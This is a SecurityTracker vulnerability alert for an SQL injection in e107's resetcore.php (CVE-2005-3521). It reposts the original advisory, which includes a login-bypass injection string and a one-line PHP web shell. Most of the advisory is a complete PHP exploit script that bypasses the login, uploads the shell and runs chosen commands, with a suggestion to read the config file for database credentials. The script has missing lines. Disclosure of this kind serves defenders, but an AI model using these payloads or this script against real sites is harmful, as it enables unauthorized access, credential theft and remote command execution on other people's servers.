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Category:   Application (Forum/Board/Portal)  >   e107 website system Vendors:
e107 Input Validation Hole in 'resetcore.php' Lets Remote Users Inject SQL Commands
SecurityTracker Alert ID:  1015069
SecurityTracker URL:
CVE Reference:   CVE-2005-3521   (Links to External Site)
Updated:  Jun 14 2008
Original Entry Date:  Oct 18 2005
Impact:   Disclosure of system information, Disclosure of user information, User access via network
Exploit Included:  Yes  
Version(s): 0.617 stable, 0.6171, 0.6172
Description:   rgod reported a vulnerability in e107. A remote user can inject SQL commands to bypass authentication.

The 'resetcore.php' script does not properly validate user-supplied input. A remote user can supply a specially crafted parameter value to execute SQL commands on the underlying database. This can be exploited to gain access to the target application.

A demonstration exploit value is provided:

user: ' or isnull(1/0)/*
password: [nothing]

With this access, the user can edit core values to conduct cross-site scripting attacks or upload PHP files to execute arbitrary commands on the target system.

The original advisory is available at:

Impact:   A remote user can execute SQL commands on the underlying database.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.

 Source Message Contents

Subject:  e107 remote commands execution

e107 0.617 stable/ 0.6171 / 0.6172 resetcore.php  utility SQL Injection /
Login bypass / remote code execution / cross site scripting

description: "e107 is a content management system written in php and using the popular
open source mySQL database system for content storage. It's completely free and
totally customisable, and in constant development."


move to http://[target]/[path]/e107/e107_files/resetcore.php
and login with:

user: ' or isnull(1/0)/*
password: [nothing]

choose to manually edit core values..., so you can edit core items,

now we have...

ii) XSS:

ex., in title core item type:



iii) remote code execution:

modify settings to activate public uploads of .php files
upload a file like this:

<?php error_reporting(0); ini_set("max_execution_time",0);
echo "Hi Master\r\n"; system($HTTP_GET_VARS[cmd]); ?>

the launch commands:


this is my poc exploit:

#   0.27 18/10/2005                                                            #
#                                                                              #
#   ---e017_xpl.php                                                            #
#                                                                              #
#   e107 0.617 resetcore.php SQL Injection & remote code execution  all-in-one #
#                                                                              #
#                                 by rgod                                      #
#                      site:                        #
#                                                                              #
#   make these changes in php.ini if you have troubles                         #
#   to launch this script:                                                     #
#   allow_call_time_pass_reference = on                                        #
#   register_globals = on                                                      #
#                                                                              #
#   usage: customize for your own pleasure, launch this script from Apache,    #
#   fill requested fields, then go!                                            #
#                                                                              #
#   Sun-Tzu: "There is a proper season for making attacks with fire, and       #
#   special days for starting a conflagration. The proper season is when       #
#   the weather is very dry; the special days are those when the moon is       #
#   in the constellations of the Sieve, the Wall, the Wing or the Cross-bar;   #
#   for these four are all days of rising wind."                               #

ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title>e107 0.617 remote commands execution       </title><meta
http-equiv="Content-Type"   content="text/html;  charset=iso-8859-1">     <style
type="text/css"> body {	background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
SCROLLBAR-BASE-COLOR: black;    CURSOR: crosshair;    color:   #1CB081; }    img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #1CBc81; } a:hover{text-decoration: underline;
color : #1CB081; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
e107 0.617 resetcore.php SQL injection & remote commands execution </p>      <p>
<class="Stile6"> a  script     byrgod  at <a href=""
target="_blank"></a></p> <table width="84%"><tr>   <td
width="43%">      <form name="form1" method="post" action="'.$SERVER[PHP_SELF].'
?path=value&host=value&port=value&command=value&proxy=value">   <p>       <input
type="text" name="host"><span class="Stile5"> hostname    (ex:
</span></p><p> <input type="text" name="path"><span class="Stile5">path (ex: /e1
07/ or just /)</span></p><p><input type="text" name="port"><span class="Stile5">
specify a port other than 80 (default value)  </span> </p> <p><input type="text"
name="command"><span class="Stile5">a shell command,    cat ./../../e107_config.
php to see database username/password  </span>  </p>  <p>   <input   type="text"
name="proxy"><span class="Stile5">send exploit through an HTTP  proxy  (ip:port)
</span></p><p><input type="submit" name="Submit" value="go!">   </p></form></td>

function show($headeri)
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
if ($ji==16) {
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
            echo "</tr><tr>";
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
echo "</tr></table>";

function sendpacket($packet)
global $proxy, $host, $port, $html;
if ($proxy=='')
       echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    if (!$ock) { echo 'No response from proxy...';
if ($proxy=='')

    while (!feof($ock))
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
echo nl2br(htmlentities($html));

if (($path<>'') and ($host<>'') and ($command<>''))

if (($port=='') or ($port<=0)) {$port=80;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
echo 'Initiating exploit against '.htmlentities($host).':'.htmlentities($port);

#STEP 1 -> SQL INJECTION in resetcore.php, bypass login and change upload settings
$data.=urlencode("'or isnull(1/0)/*")."&a_password=d41d8cd98f00b204e9800998ecf8427e";
//                       ^                                  ^
//                       |                                  |
//            here we have login bypass ;)        hash of [nothing]
//so, you see, we activate public uploads and .php extensions for attachments
$packet="POST ".$p."e107_files/resetcore.php HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*\r\n";
$packet.="Referer: http://".$host.":".$port.$path."e107_files/resetcore.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Matrix S.p.A. - FAST Enterprise Crawler 6 (Unknown admin e-mail address)\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Content-Type: multipart/form-data; boundary=----------W1dUnnWzZExD8Rb1Pctwsq\r\n\r\n";

if (eregi("Core settings successfully updated",$html)) {echo '<br>Ok... we reset core values...Continue...';}
                                                  else {echo '<br>Exploit failed...'; die;}

#STEP 2 -> Upload a shell...
Content-Disposition: form-data; name="file_name"

Content-Disposition: form-data; name="file_version"

Content-Disposition: form-data; name="file_userfile[]"; filename="c:\suntzu.php"
Content-Type: multipart/form-data

<?php error_reporting(0); ini_set("max_execution_time",0);
echo "Hi Master\r\n"; system($HTTP_GET_VARS[cmd]); ?>
Content-Disposition: form-data; name="file_userfile[]"; filename=""

Content-Disposition: form-data; name="file_description"

Content-Disposition: form-data; name="file_website"

Content-Disposition: form-data; name="file_demo"

Content-Disposition: form-data; name="upload"

Submit and Upload

$packet="POST ".$p."upload.php HTTP/1.1\r\n";
$packet.="User-Agent: Nokia7110/1.0 (05.01) (Google WAP Proxy/1.0)\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$packet.="Accept-Language: it,en;q=0.9\r\n";
$packet.="Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\r\n";
$packet.="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n";
$packet.="Referer: http://".$host.":".$port.$path."upload.php\r\n";
$packet.="Cookie: e107cookie=1.dcc479d5ffe15c00b2263328f1d60da4\r\n";
$packet.="Cookie2: \$Version=1\r\n";
$packet.="Connection: Close, TE\r\n";
$packet.="TE: deflate, gzip, chunked, identity, trailers\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Content-Type: multipart/form-data; boundary=----------W1dUnnWzZExD8Rb1Pctwsq\r\n\r\n";

#STEP 3 -> Launch commands...
$packet="GET ".$p."e107_files/public/suntzu.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="User-Agent: Website eXtractor\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
if (eregi("Hi Master",$html)) {echo 'Exploit succeeded...';}
                        else  {echo 'Exploit failed...';}
{echo 'Fill in requested fields, optionally specify a proxy...';}


mail: retrogod at
original advisory:

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